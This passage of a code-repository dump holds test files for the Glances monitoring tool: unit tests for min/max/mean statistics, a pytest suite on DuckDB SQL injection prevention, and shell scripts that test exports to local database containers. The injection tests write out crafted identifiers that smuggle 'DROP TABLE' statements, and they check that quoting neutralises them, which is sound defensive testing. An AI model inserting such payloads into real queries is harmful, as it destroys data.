'percent', 'mmm': True},\n            'other': {'description': 'A value without MMM', 'unit': 'bytes'},\n        }\n\n        class TestMMMPlugin(GlancesPluginModel):\n            def __init__(self):\n                super().__init__(args=None, config=None, fields_description=test_fields)\n\n        plugin = TestMMMPlugin()\n\n        # Test 1: MMM fields initialized\n        self.assertIn('value', plugin._mmm_fields, \"value field should be in _mmm_fields\")\n        self.assertNotIn('other', plugin._mmm_fields, \"other field should NOT be in _mmm_fields\")\n\n        # Test 2: Auto-generated descriptions exist\n        self.assertIn('value_min', plugin.fields_description, \"value_min description should be auto-generated\")\n        self.assertIn('value_max', plugin.fields_description, \"value_max description should be auto-generated\")\n        self.assertIn('value_mean', plugin.fields_description, \"value_mean description should be auto-generated\")\n\n        # Test 3: Units are inherited\n        self.assertEqual(plugin.fields_description['value_min']['unit'], 'percent')\n        self.assertEqual(plugin.fields_description['value_max']['unit'], 'percent')\n        self.assertEqual(plugin.fields_description['value_mean']['unit'], 'percent')\n\n        # Test 4: MMM field structure is correct\n        mmm_info = plugin._mmm_fields['value']\n        self.assertIn('values', mmm_info, \"values list should exist\")\n        self.assertIn('min', mmm_info, \"min should exist\")\n        self.assertIn('max', mmm_info, \"max should exist\")\n        self.assertIn('unit', mmm_info, \"unit should exist\")\n        self.assertIsNone(mmm_info['min'], \"min should start as None\")\n        self.assertIsNone(mmm_info['max'], \"max should start as None\")\n\n    def test_701_mmm_update_functionality(self):\n        \"\"\"Test MMM update functionality.\"\"\"\n        print('INFO: [TEST_701] MMM update functionality')\n\n        test_fields = {'temperature': {'description': 'Temperature in Celsius', 'unit': 'celsius', 'mmm': True}}\n\n        class TestMMMPlugin(GlancesPluginModel):\n            def __init__(self):\n                super().__init__(args=None, config=None, fields_description=test_fields)\n\n        plugin = TestMMMPlugin()\n\n        # Test 1: First update\n        stats = {'temperature': 50.0}\n        updated_stats = plugin._update_mmm_fields(stats)\n\n        self.assertIn('temperature_min', updated_stats)\n        self.assertIn('temperature_max', updated_stats)\n        self.assertIn('temperature_mean', updated_stats)\n        self.assertEqual(updated_stats['temperature_min'], 50.0)\n        self.assertEqual(updated_stats['temperature_max'], 50.0)\n        self.assertEqual(updated_stats['temperature_mean'], 50.0)\n\n        # Test 2: Second update with higher value\n        stats = {'temperature': 60.0}\n        updated_stats = plugin._update_mmm_fields(stats)\n\n        self.assertEqual(updated_stats['temperature_min'], 50.0, \"min should not increase\")\n        self.assertEqual(updated_stats['temperature_max'], 60.0, \"max should increase\")\n        self.assertLess(50.0, updated_stats['temperature_mean'])\n        self.assertLess(updated_stats['temperature_mean'], 60.0)\n\n        # Test 3: Third update with lower value\n        stats = {'temperature': 40.0}\n        updated_stats = plugin._update_mmm_fields(stats)\n\n        self.assertEqual(updated_stats['temperature_min'], 40.0, \"min should decrease\")\n        self.assertEqual(updated_stats['temperature_max'], 60.0, \"max should not decrease\")\n\n    def test_702_mmm_mean_calculation(self):\n        \"\"\"Test MMM mean calculation is correct.\"\"\"\n        print('INFO: [TEST_702] MMM mean calculation')\n\n        test_fields = {'value': {'description': 'A test value', 'unit': 'percent', 'mmm': True}}\n\n        class TestMMMPlugin(GlancesPluginModel):\n            def __init__(self):\n                super().__init__(args=None, config=None, fields_description=test_fields)\n\n        plugin = TestMMMPlugin()\n\n        # Add known values\n        test_values = [10.0, 20.0, 30.0, 40.0, 50.0]\n        for val in test_values:\n            stats = {'value': val}\n            updated_stats = plugin._update_mmm_fields(stats)\n\n        # Expected mean of all values\n        expected_mean = sum(test_values) / len(test_values)\n\n        self.assertAlmostEqual(updated_stats['value_mean'], expected_mean, places=1)\n        # Also verify min and max\n        self.assertEqual(updated_stats['value_min'], min(test_values))\n        self.assertEqual(updated_stats['value_max'], max(test_values))\n\n    def test_703_mmm_history_limit(self):\n        \"\"\"Test MMM history respects size limit.\"\"\"\n        print('INFO: [TEST_703] MMM history respects size limit')\n\n        test_fields = {'value': {'description': 'A test value', 'unit': 'percent', 'mmm': True}}\n\n        class TestMMMPlugin(GlancesPluginModel):\n            def __init__(self):\n                super().__init__(args=None, config=None, fields_description=test_fields)\n\n        plugin = TestMMMPlugin()\n\n        # Check default limit\n        max_history_size = 28800\n\n        # Add values but only a reasonable number (not the full limit to keep test fast)\n        test_iterations = 100\n        for i in range(test_iterations):\n            stats = {'value': float(i % 100)}\n            plugin._update_mmm_fields(stats)\n\n        # History should not exceed limit\n        mmm_info = plugin._mmm_fields['value']\n        self.assertLessEqual(len(mmm_info['values']), max_history_size)\n        # Should have roughly the number we added (100)\n        self.assertEqual(len(mmm_info['values']), test_iterations)\n\n    def test_704_mmm_handles_list_of_dicts(self):\n        \"\"\"Test MMM update can handle list of stats dictionaries.\"\"\"\n        print('INFO: [TEST_704] MMM handles list of dicts')\n\n        test_fields = {'utilization': {'description': 'Utilization percent', 'unit': 'percent', 'mmm': True}}\n\n        class TestMMMPlugin(GlancesPluginModel):\n            def __init__(self):\n                super().__init__(args=None, config=None, fields_description=test_fields)\n\n        plugin = TestMMMPlugin()\n\n        # Create a list of stats\n        stats_list = [\n            {'name': 'item1', 'utilization': 50.0},\n            {'name': 'item2', 'utilization': 60.0},\n            {'name': 'item3', 'utilization': 40.0},\n        ]\n\n        # Update with list\n        updated_list = plugin._update_mmm_fields_on_list(stats_list)\n\n        # Check that each item has MMM fields\n        for item in updated_list:\n            self.assertIn('utilization_min', item)\n            self.assertIn('utilization_max', item)\n            self.assertIn('utilization_mean', item)\n\n    def test_705_mmm_ignores_non_numeric_values(self):\n        \"\"\"Test MMM ignores non-numeric values.\"\"\"\n        print('INFO: [TEST_705] MMM ignores non-numeric values')\n\n        test_fields = {'status': {'description': 'Status string', 'unit': 'string', 'mmm': True}}\n\n        class TestMMMPlugin(GlancesPluginModel):\n            def __init__(self):\n                super().__init__(args=None, config=None, fields_description=test_fields)\n\n        plugin = TestMMMPlugin()\n\n        # Try to update with non-numeric value\n        stats = {'status': 'active'}\n        updated_stats = plugin._update_mmm_fields(stats)\n\n        # Non-numeric values should not create MMM fields (or they should be None)\n        if 'status_min' in updated_stats:\n            self.assertIsNone(updated_stats.get('status_min'))\n\n    def test_706_mmm_decorator_integration(self):\n        \"\"\"Test MMM decorator integration with update method.\"\"\"\n        print('INFO: [TEST_706] MMM decorator integration')\n\n        test_fields = {'cpu': {'description': 'CPU usage', 'unit': 'percent', 'mmm': True}}\n\n        class TestMMMPlugin(GlancesPluginModel):\n            def __init__(self):\n                super().__init__(args=None, config=None, fields_description=test_fields)\n\n            @GlancesPluginModel._manage_mmm\n            def test_update(self):\n                \"\"\"Test method with MMM decorator.\"\"\"\n                return {'cpu': 50.5}\n\n        plugin = TestMMMPlugin()\n\n        # Call the decorated method\n        result = plugin.test_update()\n\n        # Should have MMM fields\n        self.assertIn('cpu_min', result)\n        self.assertIn('cpu_max', result)\n        self.assertIn('cpu_mean', result)\n\n    def test_707_mmm_with_mem_plugin(self):\n        \"\"\"Test MMM integration with actual MemPlugin.\"\"\"\n        print('INFO: [TEST_707] MMM integration with MemPlugin')\n\n        # Get the mem plugin from stats\n        mem_plugin = stats.get_plugin('mem')\n\n        # Verify percent field has MMM enabled\n        self.assertTrue(mem_plugin.fields_description['percent'].get('mmm', False))\n\n        # Verify MMM fields are in fields_description\n        self.assertIn('percent_min', mem_plugin.fields_description)\n        self.assertIn('percent_max', mem_plugin.fields_description)\n        self.assertIn('percent_mean', mem_plugin.fields_description)\n\n        # Update and verify stats contain MMM fields\n        mem_plugin.update()\n        raw_stats = mem_plugin.get_raw()\n\n        self.assertIn('percent', raw_stats)\n        self.assertIn('percent_min', raw_stats)\n        self.assertIn('percent_max', raw_stats)\n        self.assertIn('percent_mean', raw_stats)\n\n        # Verify relationships\n        self.assertLessEqual(raw_stats['percent_min'], raw_stats['percent'])\n        self.assertGreaterEqual(raw_stats['percent_max'], raw_stats['percent'])\n        self.assertLessEqual(raw_stats['percent_min'], raw_stats['percent_mean'])\n        self.assertGreaterEqual(raw_stats['percent_max'], raw_stats['percent_mean'])\n\n    # def test_700_secure(self):\n    #     \"\"\"Test secure functions\"\"\"\n    #     print('INFO: [TEST_700] Secure functions')\n\n    #     if WINDOWS:\n    #         self.assertIn(secure_popen('echo TEST'), ['TEST\\n', 'TEST\\r\\n'])\n    #         self.assertIn(secure_popen('echo TEST1 && echo TEST2'), ['TEST1\\nTEST2\\n', 'TEST1\\r\\nTEST2\\r\\n'])\n    #     else:\n    #         self.assertEqual(secure_popen('echo -n TEST'), 'TEST')\n    #         self.assertEqual(secure_popen('echo -n TEST1 && echo -n TEST2'), 'TEST1TEST2')\n    #         # Make the test failed on Github (AssertionError: '' != 'FOO\\n')\n    #         # but not on my localLinux computer...\n    #         # self.assertEqual(secure_popen('echo FOO | grep FOO'), 'FOO\\n')\n\n    def test_999_the_end(self):\n        \"\"\"Free all the stats\"\"\"\n        print('INFO: [TEST_999] Free the stats')\n        stats.end()\n        self.assertTrue(True)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/test_duckdb_sanitize.py",
    "content": "#!/usr/bin/env python\n#\n# Glances - An eye on your system\n#\n# SPDX-FileCopyrightText: 2025 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Glances unit tests for DuckDB export SQL injection prevention.\n\nTests cover:\n- _quote_identifier properly escapes SQL identifiers\n- CREATE TABLE and INSERT INTO use quoted identifiers\n- SQL injection via crafted column names is prevented\n- SQL injection via crafted table names is prevented\n- Normal export workflow still works with quoting\n\"\"\"\n\nimport pytest\n\ntry:\n    import duckdb\nexcept ImportError:\n    pytest.skip(\"duckdb not installed\", allow_module_level=True)\n\nfrom glances.exports.glances_duckdb import _quote_identifier\n\n# ---------------------------------------------------------------------------\n# Tests – _quote_identifier\n# ---------------------------------------------------------------------------\n\n\nclass TestQuoteIdentifier:\n    \"\"\"Unit tests for the _quote_identifier helper.\"\"\"\n\n    def test_simple_name(self):\n        assert _quote_identifier('cpu_percent') == '\"cpu_percent\"'\n\n    def test_name_with_spaces(self):\n        assert _quote_identifier('my column') == '\"my column\"'\n\n    def test_name_with_double_quote(self):\n        \"\"\"Embedded double quotes must be doubled.\"\"\"\n        assert _quote_identifier('col\"name') == '\"col\"\"name\"'\n\n    def test_name_with_multiple_double_quotes(self):\n        assert _quote_identifier('a\"b\"c') == '\"a\"\"b\"\"c\"'\n\n    def test_sql_injection_attempt(self):\n        \"\"\"SQL metacharacters must be safely quoted.\"\"\"\n        malicious = 'cpu); DROP TABLE secrets; --'\n        quoted = _quote_identifier(malicious)\n        assert quoted == '\"cpu); DROP TABLE secrets; --\"'\n\n    def test_empty_string(self):\n        assert _quote_identifier('') == '\"\"'\n\n    def test_non_string_input(self):\n        \"\"\"Non-string input should be converted to string.\"\"\"\n        assert _quote_identifier(42) == '\"42\"'\n\n    def test_name_with_semicolon(self):\n        assert _quote_identifier('col;name') == '\"col;name\"'\n\n    def test_name_with_parentheses(self):\n        assert _quote_identifier('col(name)') == '\"col(name)\"'\n\n\n# ---------------------------------------------------------------------------\n# Tests – SQL injection prevention with real DuckDB\n# ---------------------------------------------------------------------------\n\n\nclass TestDuckDBInjectionPrevention:\n    \"\"\"Verify that quoted identifiers prevent SQL injection in real DuckDB.\"\"\"\n\n    @pytest.fixture\n    def db(self):\n        \"\"\"Create an in-memory DuckDB connection.\"\"\"\n        conn = duckdb.connect(':memory:')\n        yield conn\n        conn.close()\n\n    def test_create_table_with_safe_names(self, db):\n        \"\"\"Normal table and column creation works with quoting.\"\"\"\n        table = _quote_identifier('cpu')\n        col1 = _quote_identifier('time')\n        col2 = _quote_identifier('cpu_percent')\n        db.execute(f'CREATE TABLE {table} ({col1} VARCHAR, {col2} DOUBLE);')\n        db.execute(f'INSERT INTO {table} VALUES (?, ?);', ['2024-01-01', 95.5])\n        result = db.execute(f'SELECT * FROM {table}').fetchall()\n        assert len(result) == 1\n        assert result[0] == ('2024-01-01', 95.5)\n\n    def test_create_table_with_special_column_names(self, db):\n        \"\"\"Column names with special characters are properly handled.\"\"\"\n        table = _quote_identifier('test_plugin')\n        col_special = _quote_identifier('my column with spaces')\n        db.execute(f'CREATE TABLE {table} ({col_special} VARCHAR);')\n        db.execute(f'INSERT INTO {table} VALUES (?);', ['value'])\n        result = db.execute(f'SELECT * FROM {table}').fetchall()\n        assert result[0] == ('value',)\n\n    def test_injection_in_column_name_is_neutralized(self, db):\n        \"\"\"A malicious column name must not execute injected SQL.\"\"\"\n        # Create a target table that the injection would try to drop\n        db.execute('CREATE TABLE secrets (data VARCHAR);')\n        db.execute(\"INSERT INTO secrets VALUES ('sensitive');\")\n\n        # Attempt injection via column name\n        malicious_col = 'cpu BIGINT); DROP TABLE secrets; --'\n        safe_col = _quote_identifier(malicious_col)\n        table = _quote_identifier('test_inject')\n\n        # This should create a table with a weird column name, NOT drop secrets\n        db.execute(f'CREATE TABLE {table} ({safe_col} VARCHAR);')\n\n        # Verify secrets table still exists and has data\n        result = db.execute('SELECT * FROM secrets').fetchall()\n        assert result == [('sensitive',)]\n\n    def test_injection_in_table_name_is_neutralized(self, db):\n        \"\"\"A malicious table name must not execute injected SQL.\"\"\"\n        db.execute('CREATE TABLE important (data VARCHAR);')\n        db.execute(\"INSERT INTO important VALUES ('keep');\")\n\n        malicious_table = 'x (a INT); DROP TABLE important; --'\n        safe_table = _quote_identifier(malicious_table)\n        db.execute(f'CREATE TABLE {safe_table} (col1 VARCHAR);')\n\n        # important table must still exist\n        result = db.execute('SELECT * FROM important').fetchall()\n        assert result == [('keep',)]\n\n    def test_insert_with_quoted_table(self, db):\n        \"\"\"INSERT INTO with quoted table name works correctly.\"\"\"\n        table = _quote_identifier('my-plugin')\n        db.execute(f'CREATE TABLE {table} ({_quote_identifier(\"val\")} BIGINT);')\n        db.execute(f'INSERT INTO {table} VALUES (?);', [42])\n        result = db.execute(f'SELECT * FROM {table}').fetchall()\n        assert result == [(42,)]\n\n    def test_full_export_simulation(self, db):\n        \"\"\"Simulate a full Glances DuckDB export cycle with quoting.\"\"\"\n        plugin = 'cpu'\n        stats = {\n            'total': 85.5,\n            'user': 60.0,\n            'system': 25.5,\n            'idle': 14.5,\n        }\n        convert_types = {\n            'float': 'DOUBLE',\n            'int': 'BIGINT',\n            'str': 'VARCHAR',\n        }\n\n        # Build creation_list as the real code does\n        creation_list = [\n            f'{_quote_identifier(\"time\")} VARCHAR',\n            f'{_quote_identifier(\"hostname_id\")} VARCHAR',\n        ]\n        for key, value in stats.items():\n            creation_list.append(f'{_quote_identifier(key)} {convert_types[type(value).__name__]}')\n\n        # CREATE TABLE\n        quoted_plugin = _quote_identifier(plugin)\n        create_query = f'CREATE TABLE {quoted_plugin} ({\", \".join(creation_list)});'\n        db.execute(create_query)\n\n        # INSERT\n        values = ['2024-01-01T00:00:00', 'myhost'] + list(stats.values())\n        placeholders = ', '.join(['?' for _ in values])\n        insert_query = f'INSERT INTO {quoted_plugin} VALUES ({placeholders});'\n        db.execute(insert_query, values)\n\n        # Verify\n        result = db.execute(f'SELECT * FROM {quoted_plugin}').fetchall()\n        assert len(result) == 1\n        assert result[0][0] == '2024-01-01T00:00:00'\n        assert result[0][1] == 'myhost'\n        assert result[0][2] == 85.5\n\n    def test_column_with_double_quote_in_name(self, db):\n        \"\"\"Column name containing double quotes is properly escaped.\"\"\"\n        table = _quote_identifier('test')\n        col = _quote_identifier('col\"with\"quotes')\n        db.execute(f'CREATE TABLE {table} ({col} VARCHAR);')\n        db.execute(f'INSERT INTO {table} VALUES (?);', ['value'])\n        result = db.execute(f'SELECT * FROM {table}').fetchall()\n        assert result == [('value',)]\n"
  },
  {
    "path": "tests/test_export_csv.sh",
    "content": "#!/bin/bash\n\n# Exit on error\nset -e\n\n# Run glances with export to CSV file, stopping after 10 writes\n# This will run synchronously now since we're using --stop-after\necho \"Glances starts to export system stats to CSV file /tmp/glances.csv (duration: ~ 20 seconds)\"\nrm -f /tmp/glances.csv\n.venv/bin/python -m glances --export csv --export-csv-file /tmp/glances.csv --stop-after 10 --quiet\n\necho \"Checking CSV file...\"\n.venv/bin/python ./tests-data/tools/csvcheck.py -i /tmp/glances.csv -l 9\n"
  },
  {
    "path": "tests/test_export_duckdb.sh",
    "content": "#!/bin/bash\n\n# Exit on error\nset -e\n\n# Paths\nDEFAULT_CONF=\"./conf/glances.conf\"\nCUSTOM_CONF=\"/tmp/glances_duckdb_test.conf\"\nDUCKDB_FILE=\"/tmp/glances.db\"\n\n# Remove previous test artifacts\necho \"Remove previous test database and config...\"\nrm -f \"$DUCKDB_FILE\"\nrm -f \"$CUSTOM_CONF\"\n\n# Generate a custom config from the default one,\n# replacing database=:memory: with a file-based database\necho \"Generate custom config from ${DEFAULT_CONF}...\"\nsed 's|^database=:memory:$|database=/tmp/glances.db|' \"$DEFAULT_CONF\" > \"$CUSTOM_CONF\"\n\n# Run glances with export to DuckDB, stopping after 10 writes\n# This will run synchronously now since we're using --stop-after\necho \"Glances to export system stats to DuckDB (duration: ~ 20 seconds)\"\n.venv/bin/python -m glances --config \"$CUSTOM_CONF\" --export duckdb --stop-after 10 --quiet\n\necho \"Checking DuckDB database...\"\n.venv/bin/python ./tests-data/tools/duckdbcheck.py -i \"$DUCKDB_FILE\" -l 9\n\n# Cleanup\necho \"Cleanup test artifacts...\"\nrm -f \"$DUCKDB_FILE\"\nrm -f \"$CUSTOM_CONF\"\n\necho \"Script completed successfully!\"\n"
  },
  {
    "path": "tests/test_export_influxdb_v1.sh",
    "content": "#!/bin/bash\n# Pre-requisites:\n# - docker\n# - jq\n\n# Exit on error\nset -e\n\necho \"Starting InfluxDB version 1 container...\"\ndocker run -d --name influxdb-v1-for-glances \\\n    -p 8086:8086 \\\n    influxdb:1.12\n\n# Wait for InfluxDB to be ready (retry for up to 30 seconds)\necho \"Waiting for InfluxDB to start...\"\nfor i in {1..30}; do\n    if curl -s \"http://localhost:8086/ping\" > /dev/null; then\n        echo \"InfluxDB is up and running!\"\n        break\n    fi\n\n    if [ \"$i\" -eq 30 ]; then\n        echo \"Error: Timed out waiting for InfluxDB to start\"\n        docker stop influxdb-v1-for-glances\n        docker rm influxdb-v1-for-glances\n        exit 1\n    fi\n\n    echo \"Waiting for InfluxDB to start... ($i/30)\"\n    sleep 1\ndone\n\n# Create the glances database\necho \"Creating 'glances' database...\"\ndocker exec influxdb-v1-for-glances influx -execute 'DROP DATABASE glances'\ndocker exec influxdb-v1-for-glances influx -execute 'CREATE DATABASE glances'\n\n# Run glances with export to InfluxDB, stopping after 10 writes\n# This will run synchronously now since we're using --stop-after\necho \"Glances to export system stats to InfluxDB (duration: ~ 20 seconds)\"\n.venv/bin/python -m glances --export influxdb --stop-after 10 --quiet\n\necho \"Checking if Glances data was successfully exported to InfluxDB...\"\n# Query to check if data exists in the glances database\nMEASUREMENT_COUNT=$(docker exec influxdb-v1-for-glances influx -database 'glances' -format json -execute 'SHOW MEASUREMENTS' | jq '.results[0].series[0].values' | jq length)\nif [ \"$MEASUREMENT_COUNT\" -eq 0 ]; then\n    echo \"Error: No Glances measurement found in the InfluxDB database\"\n    docker stop influxdb-v1-for-glances\n    docker rm influxdb-v1-for-glances\n    exit 1\nelse\n    echo \"Success! Found $MEASUREMENT_COUNT measurements in the Glances database.\"\nfi\n\n# Query to check if data exists in the glances database\nSERIE_COUNT=$(docker exec influxdb-v1-for-glances influx -database 'glances' -format json -execute 'SELECT * FROM cpu' | jq '.results[0].series[0].values' | jq length)\nif [ \"$SERIE_COUNT\" -eq 9 ]; then\n    echo \"Success! Found $SERIE_COUNT series in the Glances database (CPU plugin).\"\nelse\n    echo \"Error: Found $SERIE_COUNT series instead of 9\"\n    docker stop influxdb-v1-for-glances\n    docker rm influxdb-v1-for-glances\n    exit 1\nfi\n\n# Stop and remove the InfluxDB container\necho \"Stopping and removing InfluxDB container...\"\ndocker stop influxdb-v1-for-glances\ndocker rm influxdb-v1-for-glances\n\necho \"Script completed successfully!\"\n"
  },
  {
    "path": "tests/test_export_influxdb_v3.sh",
    "content": "#!/bin/bash\n# Pre-requisites:\n# - docker\n# - jq\n\n# Exit on error\nset -e\n\necho \"Starting InfluxDB version 3 (Core) container...\"\ndocker run -d --name influxdb-v3-for-glances \\\n    -p 8181:8181 \\\n    influxdb:3-core --node-id host01 --object-store memory\n\n# Wait for InfluxDB to be ready (5 seconds)\necho \"Waiting for InfluxDB to start...\"\nsleep 5\n\n# Create the token\necho \"Creating InfluxDB token...\"\nTOKEN_RETURN=$(docker exec influxdb-v3-for-glances influxdb3 create token --admin)\nTOKEN=$(echo -n \"$TOKEN_RETURN\" | awk '{ print $6 }')\necho \"Token: $TOKEN\"\n\n# Create a new configuration for the test\necho \"Creating a temporary Glances configuration file with the token in /tmp/glances.conf...\"\nsed \"s/PUT_YOUR_INFLUXDB3_TOKEN_HERE/$TOKEN/g\" ./conf/glances.conf > /tmp/glances.conf\n\n# Create the glances database\necho \"Creating 'glances' database...\"\ndocker exec -e \"INFLUXDB3_AUTH_TOKEN=$TOKEN\" influxdb-v3-for-glances influxdb3 create database glances\ndocker exec -e \"INFLUXDB3_AUTH_TOKEN=$TOKEN\" influxdb-v3-for-glances influxdb3 show databases\n\n# Get the list of tables in the glances database after creation\nTABLES_INIT=$(docker exec -e \"INFLUXDB3_AUTH_TOKEN=$TOKEN\" influxdb-v3-for-glances influxdb3 query --database glances --format json 'SHOW TABLES')\nTABLES_INIT_COUNT=$(echo \"$TABLES_INIT\" | jq length)\n\n# Run glances with export to InfluxDB, stopping after 10 writes\n# This will run synchronously now since we're using --stop-after\necho \"Glances to export system stats to InfluxDB (duration: ~ 20 seconds)\"\n.venv/bin/python -m glances --config /tmp/glances.conf --export influxdb3 --stop-after 10 --quiet\n\necho \"Checking if Glances data was successfully exported to InfluxDB...\"\n# Query to check if data exists in the glances database\nTABLES=$(docker exec -e \"INFLUXDB3_AUTH_TOKEN=$TOKEN\" influxdb-v3-for-glances influxdb3 query --database glances --format json 'SHOW TABLES')\nTABLES_COUNT=$(echo \"$TABLES\" | jq length)\nif [ \"$TABLES_COUNT\" -eq \"$TABLES_INIT_COUNT\" ]; then\n    echo \"Error: No Glances measurement found in the InfluxDB database\"\n    docker stop influxdb-v3-for-glances\n    docker rm influxdb-v3-for-glances\n    exit 1\nelse\n    echo \"Success! Found $TABLES_COUNT measurements in the Glances database.\"\nfi\n\n# Query to check if data exists in the glances database\nSERIE=$(docker exec -e \"INFLUXDB3_AUTH_TOKEN=$TOKEN\" influxdb-v3-for-glances influxdb3 query --database glances --format json 'SELECT * FROM cpu')\nSERIE_COUNT=$(echo \"$SERIE\" | jq length)\nif [ \"$SERIE_COUNT\" -eq 9 ]; then\n    echo \"Success! Found $SERIE_COUNT series in the Glances database (CPU plugin).\"\nelse\n    echo \"Error: Found $SERIE_COUNT series instead of 9\"\n    docker stop influxdb-v3-for-glances\n    docker rm influxdb-v3-for-glances\n    exit 1\nfi\n\n# Stop and remove the InfluxDB container\necho \"Stopping and removing InfluxDB container...\"\ndocker stop influxdb-v3-for-glances\ndocker rm influxdb-v3-for-glances\n\n# Remove the temporary configuration file\nrm -f /tmp/glances.conf\n\necho \"Script completed successfully!\"\n"
  },
  {
    "path": "tests/test_export_json.sh",
    "content": "#!/bin/bash\n\n# Exit on error\nset -e\n\n# Run glances with export to JSON file, stopping after 3 writes (to be sure rates are included)\n# This will run synchronously now since we're using --stop-after\necho \"Glances starts to export system stats to JSON file /tmp/glances.json (duration: ~ 10 seconds)\"\nrm -f /tmp/glances.json\n.venv/bin/python -m glances --export json --export-json-file /tmp/glances.json --stop-after 3 --quiet\n\necho \"Checking JSON file...\"\njq . /tmp/glances.json\njq .cpu /tmp/glances.json\njq .cpu.total /tmp/glances.json\njq .mem /tmp/glances.json\njq .mem.total /tmp/glances.json\njq .processcount /tmp/glances.json\njq .processcount.total /tmp/glances.json\n"
  },
  {
    "path": "tests/test_export_nats.sh",
    "content": "#!/bin/bash\n# Pre-requisites:\n# - docker\n# - jq\n\n# Exit on error\nset -e\n\n# Configuration\nMIN_MESSAGES=10\nNATS_SUBJECT=\"glances.>\"\nMESSAGE_COUNT_FILE=$(mktemp)\necho \"0\" > \"$MESSAGE_COUNT_FILE\"\n\n# Cleanup function\ncleanup() {\n    echo \"Cleaning up...\"\n    # Kill subscriber if running\n    if [ -n \"$SUBSCRIBER_PID\" ] && kill -0 \"$SUBSCRIBER_PID\" 2>/dev/null; then\n        kill \"$SUBSCRIBER_PID\" 2>/dev/null || true\n    fi\n    # Stop and remove containers\n    docker stop nats-subscriber 2>/dev/null || true\n    docker stop nats-for-glances 2>/dev/null || true\n    docker rm nats-subscriber 2>/dev/null || true\n    docker rm nats-for-glances 2>/dev/null || true\n    # Remove temp file\n    rm -f \"$MESSAGE_COUNT_FILE\"\n}\ntrap cleanup EXIT\n\necho \"Stop previous nats container...\"\ndocker stop nats-for-glances || true\ndocker rm nats-for-glances || true\n\necho \"Starting nats container...\"\ndocker run -d \\\n    --name nats-for-glances \\\n    -p 4222:4222 \\\n    -p 8222:8222 \\\n    -p 6222:6222 \\\n    nats:latest\n\n# Wait for NATS to be ready (5 seconds)\necho \"Waiting for nats to start (~ 5 seconds)...\"\nsleep 5\n\n# Start a NATS subscriber in the background using nats-box container\n# The subscriber will count messages received on the glances subject\necho \"Starting NATS subscriber to count messages...\"\ndocker run --rm --name nats-subscriber \\\n    --network host \\\n    natsio/nats-box:latest \\\n    nats sub \"$NATS_SUBJECT\" 2>/dev/null | \\\n    while read -r line; do\n        if [[ \"$line\" == *\"Received\"* ]] || [[ \"$line\" == \"{\"* ]]; then\n            count=$(cat \"$MESSAGE_COUNT_FILE\")\n            echo $((count + 1)) > \"$MESSAGE_COUNT_FILE\"\n        fi\n    done &\nSUBSCRIBER_PID=$!\n\n# Give the subscriber time to connect\nsleep 2\n\n# Run glances with export to nats, stopping after 10 writes\n# This will run synchronously now since we're using --stop-after\necho \"Glances to export system stats to nats (duration: ~ 20 seconds)\"\n.venv/bin/python -m glances --config ./conf/glances.conf --export nats --stop-after 10 --quiet\n\n# Give some time for final messages to be received\nsleep 2\n\n# Stop the subscriber\ndocker stop nats-subscriber 2>/dev/null || true\nkill \"$SUBSCRIBER_PID\" 2>/dev/null || true\n\n# Check message count\nMESSAGE_COUNT=$(cat \"$MESSAGE_COUNT_FILE\")\necho \"Received $MESSAGE_COUNT messages from NATS\"\n\nif [ \"$MESSAGE_COUNT\" -ge \"$MIN_MESSAGES\" ]; then\n    echo \"SUCCESS: Received $MESSAGE_COUNT messages (minimum required: $MIN_MESSAGES)\"\nelse\n    echo \"FAILURE: Received only $MESSAGE_COUNT messages (minimum required: $MIN_MESSAGES)\"\n    exit 1\nfi\n\necho \"Script completed successfully!\"\n"
  },
  {
    "path": "tests/test_export_prometheus.sh",
    "content": "#!/bin/bash\n\n# Exit on error\nset -e\n\n# Run glances with export to Prometheus, stopping after 10 writes\n# This will run synchronously now since we're using --stop-after\necho \"Glances to export system stats to Prometheus\"\n.venv/bin/python -m glances --config ./conf/glances.conf --export prometheus --stop-after 10 --quiet &\n# Get the PID of the last background command\nGLANCES_PID=$!\n\n# Wait for a few seconds to let glances start\necho \"Please wait for a few seconds...\"\nsleep 6\n\n# Check if we can access the Prometheus metrics endpoint\necho \"Checking Prometheus metrics endpoint...\"\ncurl http://localhost:9091/metrics\n\n# Kill the glances process if it's still running\nif ps -p $GLANCES_PID > /dev/null; then\n    kill $GLANCES_PID\nfi\n\necho \"Script completed successfully!\""
  },
  {
    "path": "tests/test_export_timescaledb.sh",
    "content": "#!/bin/bash\n# Pre-requisites:\n# - docker\n# - jq\n\n# Exit on error\nset -e\n\necho \"Clean previous test data...\"\nrm -f /tmp/timescaledb-for-glances_cpu.csv\n\necho \"Stop previous TimeScaleDB container...\"\ndocker stop timescaledb-for-glances || true\ndocker rm timescaledb-for-glances || true\n\necho \"Starting TimeScaleDB container...\"\ndocker run -d \\\n    --name timescaledb-for-glances \\\n    -p 5432:5432 \\\n    -e POSTGRES_PASSWORD=password \\\n    timescale/timescaledb-ha:pg17\n\n# Wait for InfluxDB to be ready (15 seconds)\necho \"Waiting for TimeScaleDB to start (~ 15 seconds)...\"\nsleep 15\n\n# Create the glances database\necho \"Creating 'glances' database...\"\ndocker exec timescaledb-for-glances psql -d \"postgres://postgres:password@localhost/postgres\" -c \"CREATE DATABASE glances;\"\n\n# Run glances with export to TimescaleDB, stopping after 10 writes\n# This will run synchronously now since we're using --stop-after\necho \"Glances to export system stats to TimescaleDB (duration: ~ 20 seconds)\"\n.venv/bin/python -m glances --config ./conf/glances.conf --export timescaledb --stop-after 10 --quiet\n\ndocker exec timescaledb-for-glances psql -d \"postgres://postgres:password@localhost/glances\" -c \"SELECT * from cpu;\" --csv > /tmp/timescaledb-for-glances_cpu.csv\n.venv/bin/python ./tests-data/tools/csvcheck.py -i /tmp/timescaledb-for-glances_cpu.csv -l 9\n\n# Stop and remove the TimescaleDB container\necho \"Stopping and removing TimescaleDB container...\"\ndocker stop timescaledb-for-glances && docker rm timescaledb-for-glances\n\necho \"Script completed successfully!\"\n"
  },
  {
    "path": "tests/test_json_serializer.py",
